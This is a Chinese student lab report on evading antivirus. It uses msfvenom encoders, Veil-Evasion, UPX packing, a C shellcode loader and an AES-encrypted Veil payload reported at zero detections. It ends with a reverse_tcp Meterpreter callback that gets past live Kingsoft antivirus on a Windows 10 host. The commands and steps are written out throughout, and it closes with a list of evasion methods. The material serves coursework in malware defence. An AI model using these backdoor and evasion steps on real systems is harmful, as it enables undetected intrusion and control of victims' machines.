Exp3-免杀原理
Exp3-免杀原理
一、实验内容
(4分+1分附加题)
1.1 方法(分)
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件(1分),
- veil,加壳工具(1分),
- 使用C + shellcode编程(1分),
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分1)
二、基础知识
实验环境:免杀测试平台:https://www.virustotal.com/。
三、实验过程
(一)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
1.检测直接生成的后门exe文件(实验二中的后门程序)
检出率为53/68
2.使用Unicode编码一次
在Kali中使用 msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.64.130 LPORT=1213 -f exe > backdoor1.exe
监听1213端口
检出率54/69
3.编码多次
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
检出率为54/69
4.利用php格式文件
检出率为21/57
5.利用jar文件
检出率为32/59
(二)veil,加壳工具实践
1.安装工具
依次执行以下指令:
sudo apt-get install veil-evasion
cd /usr/share/veil/config
veil
正常安装相关模块(其实不用修改setup.sh,一路next下去,遇到方框全选第一个)
2,使用veil工具
使用前可能会遇到错误,按照提示输入命令:/usr/share/veil/config/setup.sh --force --silent
veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.64.130 //设置反弹链接ip,此处为Kali的ip
set LPORT 1213 //设置端口
generate
- 设置生成的文件(名称)
保存路径为/var/lib/veil/output/compiled/20191213veil.exe
- 检测文件(检出率41/70)
- 免杀加壳尝试
加壳是将应用程序加壳变成PE文件里的一段数据,在执行加壳文件时会先执行壳,再由壳将已加密的程序解密并还原到内存中去。
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
指令:upx 20191310veil.exe -o 20191213_veil_upx.exe
检出率:40/70
(三)使用C + shellcode编程
-
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.130 LPORT=1213 -f c
-
编辑c文件
vim shellcode_c.c
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
检出率:31/69
(四)通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,选择Evasion
list##寻找palyload
use python/shellcode_inject/aes_encrypt.py
generate
2
根据自己Kali的IP和端口设置参数属性
检出率:0
原理:使用了数据加密的方式进行多次编译后门软件,结合使用不同编码器躲过查杀
(五)附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
主机是Windows10 用的杀毒软件是金山毒霸(流氓软件)版本如下:
首先,我在kali虚拟机上生成一个.raw后门文件,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.64.130(kali的ip) lport=1213 -f raw -o 20191213.raw
将文件传输到win10主机上,直接打开会遇到一个问题:
于是在主机上下载了一个下载shellcode_launcher来运行这个后门,在命令行输入:
shellcode_launcher.exe -i 20191213.raw 运行生成的文件
杀软似乎没有发现,报告一切安全
在kali机上输入熟悉的命令:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.64.130 //此处为kali端ip地址
set LPORT 1213
exploit
成功实现回连
四、基础问题回答
1、杀软是如何检测出恶意代码的?
- 基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。 - 启发式恶意软件检测
根据些片面特征去推断,如软件连接恶意网站、开放端口、修改系统文件等行为。 - 基于行为的恶意软件检测
针对特征扫描的而言的,指通用的、多特征的、非精确的扫描。
2、免杀是做什么?
免杀就是让安插的后门不被AV软件发现。
3、免杀的基本方法有哪些?
改变特征码
- 如果你手里只有EXE
加壳:压缩壳 加密壳 - 有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件 - 有源代码
用其他语言进行重写再编译(veil-evasion)
改变行为
- 通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据 - 操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件。
4、开启杀软能绝对防止电脑中恶意代码吗?
开启杀软不能绝对防止电脑中恶意代码,如果杀软的病毒库中如果没有通用工具特征片段,或没有检测该恶意代码的有效手段则无法检测到该恶意代码。
五、实验心得
本次实验整体过程还是比较顺利的,但是也让我意识到杀毒软件并不是万能的,有很多种伪装手段可以达到一定的免杀目的,纯手工的恶意代码甚至能逃过绝大多数杀软的检测,所以说以后如果有弹窗跳出来说请求关闭杀毒软件,我应该是不敢点允许的,恶意代码防不胜防啊,附加任务中用.raw试了一下似乎也躲过了杀软的探测,是因为没有尝试更加大胆的入侵比如获取摄像头什么的吗,总之要注意安全。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通